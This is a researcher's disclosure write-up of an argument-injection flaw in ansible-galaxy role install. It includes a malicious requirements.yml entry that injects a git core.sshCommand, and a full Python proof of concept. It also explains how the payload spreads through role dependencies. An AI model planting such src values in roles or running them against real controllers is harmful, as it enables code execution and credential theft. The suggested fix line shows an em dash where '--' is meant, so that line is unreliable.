June 5, 2026
CVE-2026-11332: How I found an Argument Injection in Ansible, leading to RCE
By Tommaso Bona (ParzivalHack), Independent Security Researcher
Tommaso Bona
7 min read
Introduction
Ansible, Red Hat's open source IT automation platform, is one of the most widely deployed tools in enterprise infrastructure management. With hundreds of millions of downloads on PyPI, and adoption by virtually every major organization that runs Linux infrastructure at scale, Ansible is the backbone of how thousands of companies configure, deploy, and orchestrate their systems. It is agentless by design (so it connects to remote machines over SSH and executes modules on them), which means the machine running Ansible, the controller, is the root of trust. Whatever runs on it, runs with real consequences.
Ansible-galaxy is the role and collection distribution mechanism that ships with Ansible. It is effectively pip for the Ansible ecosystem: you point it at a role you want, it fetches it, and your automation is ready. Roles can be pulled from Ansible Galaxy (the public hub), or directly from source control via a requirements.yml file. That last part is where this vulnerability lives, and now im gonna tell you (briefly, dont worry xD) why and how i found it.
During a manual review of the ansible-core codebase, I identified CVE-2026-11332, a High severity (CVSS score: 7.8) Argument Injection vulnerability that allows arbitrary code execution on any machine and CI running ansible-galaxy role install (simply by installing a malicious role or consuming a crafted requirements.yml). No special permissions, no unusual configuration, and no interaction beyond the completely normal role installation workflow.
Following the Code
I was manually going through the ansible-core source, specifically tracing the execution path that ansible-galaxy role install follows when fetching a role from a Git repository (since, during my securiy reserch session on Ansible, that was an interesting attack surface to me). The relevant file is lib/ansible/utils/galaxy.py, and within it, the scm_archive_resource function instantly stood out:
def scm_archive_resource(src, scm='git', name=None, version='HEAD', keep_scm_meta=False):
...
clone_cmd = [scm_path, 'clone']
if ignore_certs:
if scm == 'git':
clone_cmd.extend(['-c', 'http.sslVerify=false'])
...
clone_cmd.extend([src, name])
run_scm_cmd(clone_cmd, tempdir)def scm_archive_resource(src, scm='git', name=None, version='HEAD', keep_scm_meta=False):
...
clone_cmd = [scm_path, 'clone']
if ignore_certs:
if scm == 'git':
clone_cmd.extend(['-c', 'http.sslVerify=false'])
...
clone_cmd.extend([src, name])
run_scm_cmd(clone_cmd, tempdir)As you can see here, src is taken directly from the src field of the user's requirements.yml (or also from a role's meta/main.yml dependency list), while name is the role name. The issue is, that both get appended to the command list with no validation at all, before being passed to the subprocess call. The question that came to mind immediately was: what happens if src starts with a hyphen? (soon you'll understand why i asked myself this question)
The Injection
Using a list-based subprocess call, rather than a shell string, is in fact the correct pattern for avoiding shell injection, and it does prevent that. Though, it does not prevent argument injections, which is a different attack surface entirely. Git still parses every element in that list as a command-line argument, and git clone accepts global configuration options via the -c flag (with no required whitespace between the flag name and its value). So something like -ccore.sshCommand=
["git", "clone", "-ccore.sshCommand=sh -c \"id > /tmp/poc.txt\"", "git@github.com:dummy/repo.git"]["git", "clone", "-ccore.sshCommand=sh -c \"id > /tmp/poc.txt\"", "git@github.com:dummy/repo.git"]Git parses the -c flag, and takes everything after core.sshCommand= as the configuration value (again, including the spaces) because they are inside the same argv entry. When git then attempts to connect to the remote over SSH, it literally executes sh -c "id > /tmp/poc.txt" as the SSH transport (instead of the system SSH binary). So, the attacker's command executes as soon as git initiates the SSH connection, before the clone itself succeeds (or fails) and, especially, regardless of whether the target repository actually exists. The clone errors out afterward, but by then the payload has already run.
The malicious requirements.yml that triggers all of this looks like this:
- name: git@github.com:dummy/repo.git
src: -ccore.sshCommand=sh -c "id > /tmp/poc.txt; echo vulnerable"
scm: git- name: git@github.com:dummy/repo.git
src: -ccore.sshCommand=sh -c "id > /tmp/poc.txt; echo vulnerable"
scm: gitYeah, that's it. Three lines of YAML.
The Supply Chain Problem
The obvious scenario is a user running ansible-galaxy role install -r requirements.yml against a file that an attacker gave them somehow. But the more realistic (and way more dangerous) vector goes through Ansible's own dependency resolution. Why is it more dangerous, you may ask? Well, because every Ansible role can declare its own dependencies in meta/main.yml. When you install a role (from Ansible Galaxy, from a public git repository, from basically anywhere) ansible-galaxy automatically resolves and installs its full dependency tree as well. This means an attacker only needs to publish a legitimate-looking role on any public platform, embed the malicious src value inside a dependency entry in meta/main.yml, and every single user who installs that role (or any role that depends on it, at any depth) becomes a victim. So without even touching a requirements.yml that contains the payload, and without any indication that anything unusual happened.
The payload runs silently on the **Ansible controller (**the machine from which the operator manages everything else). This is the same machine that holds SSH private keys to every managed node, cloud provider credentials, Ansible Vault passwords, CI/CD tokens, and deployment keys. Full arbitrary code execution there is about as impactful as it gets. Just to give you some concrete examples, an attacker who achieves this can:
- Exfiltrate SSH private keys and pivot directly to every managed host in the inventory
- Access vault-encrypted secrets, since vault passwords are typically loaded in the controller's environment
- Inject malicious tasks into playbooks before they run against production infrastructure
- Reach any internal network segment accessible from the controller
And all of this can be triggered by a victim (or worst, by an automated process) simply running ansible-galaxy role install
Proof of Concept
I wrote a PoC that demonstrates the full attack path. It programmatically builds a malicious requirements.yml, and invokes ansible-galaxy role install against it. Successful exploitation is confirmed by the presence of a simple marker file that's being written by the injected command:
import os
import sys
import yaml
import subprocess
MARKER_FILE = '/tmp/ansibleRCEPoC.txt'
def main():
print("Ansible RCE PoC")
# Clean up previous runs
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
req = [
{
'name': 'git@github.com:dummy/repo.git',
'src': f'-ccore.sshCommand=sh -c "id > {MARKER_FILE}; echo vulnerable"',
'scm': 'git',
}
]
req_file_name = 'requirements.yml'
with open(req_file_name, 'w') as f:
yaml.dump(req, f)
print(f"\n[*] Created malicious requirements file '{req_file_name}':")
print(yaml.dump(req, default_flow_style=False))
print("[*] Running 'ansible-galaxy role install -r requirements.yml'...")
result = subprocess.run(
['ansible-galaxy', 'role', 'install', '-r', req_file_name],
capture_output=True,
text=True
)
if os.path.exists(MARKER_FILE):
print("[+] RCE SUCCESSFUL")
print(f"[+] Marker file written at: {MARKER_FILE}")
print("[+] Contents:")
with open(MARKER_FILE) as f:
for line in f:
print(f" {line}", end="")
os.remove(req_file_name)
return 0
else:
print("[-] RCE Failed. Marker file not found.")
print("STDOUT:", result.stdout)
print("STDERR:", result.stderr)
os.remove(req_file_name)
return 1
if __name__ == "__main__":
sys.exit(main())import os
import sys
import yaml
import subprocess
MARKER_FILE = '/tmp/ansibleRCEPoC.txt'
def main():
print("Ansible RCE PoC")
# Clean up previous runs
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
req = [
{
'name': 'git@github.com:dummy/repo.git',
'src': f'-ccore.sshCommand=sh -c "id > {MARKER_FILE}; echo vulnerable"',
'scm': 'git',
}
]
req_file_name = 'requirements.yml'
with open(req_file_name, 'w') as f:
yaml.dump(req, f)
print(f"\n[*] Created malicious requirements file '{req_file_name}':")
print(yaml.dump(req, default_flow_style=False))
print("[*] Running 'ansible-galaxy role install -r requirements.yml'...")
result = subprocess.run(
['ansible-galaxy', 'role', 'install', '-r', req_file_name],
capture_output=True,
text=True
)
if os.path.exists(MARKER_FILE):
print("[+] RCE SUCCESSFUL")
print(f"[+] Marker file written at: {MARKER_FILE}")
print("[+] Contents:")
with open(MARKER_FILE) as f:
for line in f:
print(f" {line}", end="")
os.remove(req_file_name)
return 0
else:
print("[-] RCE Failed. Marker file not found.")
print("STDOUT:", result.stdout)
print("STDERR:", result.stderr)
os.remove(req_file_name)
return 1
if __name__ == "__main__":
sys.exit(main())The script sets src to -ccore.sshCommand=sh -c "id > /tmp/ansibleRCEPoC.txt; echo vulnerable", and name to a non-existent dummy GitHub repo. It then calls ansible-galaxy role install and, as o said, checks for the marker file. This is the output of my PoC, on a VM running ansible-core v2.20.4:
The id output, written to /tmp/ansibleRCEPoC.txt, confirms that the injected command ran with the full privileges of the user invoking ansible-galaxy, before ansible-galaxy itself raised any error at all.
About the Fix
Red Hat told me that the patched versions of ansible-core will be 2.16.19, 2.18.18, 2.19.11, 2.20.7, and 2.21.1, and that they will be released this Monday (because, as of today, 5th of June 2026, no patched version is out yet). All earlier versions across those branches are affected. If you're on any other version, you should automatically assume that you are vulnerable, until you can update (and of course, feel free to use my PoC above to check if you're using a vulnerable Ansible version).
Talking about the fix, i haven't seen the actual pull request yet (as it isn't available yet at time of writing) but the root cause in lib/ansible/utils/galaxy.py makes the direction of the fix pretty clear. The most direct solution is to insert an argument terminator into the clone command before the user-supplied values. In git and most Unix utilities, -- signals the end of option processing, so anything that follows is treated as a positional argument regardless of whether it starts with a hyphen. Changing clone_cmd.extend([src, name]) to clone_cmd.extend([' — ', src, name]) would neutralize this class of injection entirely. The fix could also include explicit validation that src is a well-formed URL before it is ever appended to the command list, which would add a nice layer of defense-in-depth on top (quick side note: during the disclosure process, Red Hat mentioned they had assigned a CVSS 4 score internally, tho the published advisory uses CVSS 3.1, which is pretty common since many organizations still publish 3.1 externally for compatibility with tooling. Either way, the official published score is 7.8 High, with vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
Responsible Disclosure Timeline
- April 10, 2026: Initial vulnerability report and PoC sent to
security@ansible.com. - April 13, 2026: Sivel (Red Hat) acknowledged receipt and confirmed the report would be reviewed.
- April 19, 2026: I sent a follow-up asking for updates.
- April 20, 2026: Sivel replied that the report was being discussed with the appropriate engineering teams, but a full review had not been completed yet.
- May 12, 2026: I sent another follow-up checking on the status.
- May 13, 2026: Sivel replied, confirming the vulnerability had been verified and was pending classification by the Product Security team.
- May 20, 2026: I followed up on the classification process. Sivel replied the same day stating that the ansible-core engineers had agreed on a classification and CVSS 4 score, a fix was ready, and stable releases were targeting June 15.
- June 5, 2026: CVE-2026-11332 assigned. Sivel confirmed the GitHub advisory was published, and rc1 patch releases were planned for Monday the 8th (instead of the 15th) for five maintained branches of
ansible-core(2.16.19, 2.18.18, 2.19.11, 2.20.7, 2.21.1).
Conclusion
CVE-2026-11332 is a clean example of a vulnerability class that's easy to miss, especially because the surrounding code looks correct. Using subprocess with a list is the right pattern for avoiding shell injection, and it does its job. What it doesn't do, as we just saw, is prevent argument injections, which requires thinking not just about the shell, but about how the process you're spawning interprets its own argument list. Git, like many Unix tools, is pretty expressive in what it accepts via flags, and if user-controlled values reach those flags unvalidated, the consequence is essentially the same as shell injection.
The broader point for the Ansible ecosystem, is that the role installation pipeline is a trust boundary, and that boundary extends to every dependency of every role you install. Auditing that surface is worth the effort, especially for projects that automate sensitive infrastructure.
If you read this far, me and the SecurityCert team would really appreciate a follow here on Medium, and regardless, thanks for reading till the end :)
References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-11332
- Red Hat Advisory: https://access.redhat.com/security/cve/cve-2026-11332
Connect with me on LinkedIn: https://www.linkedin.com/in/tommaso-bona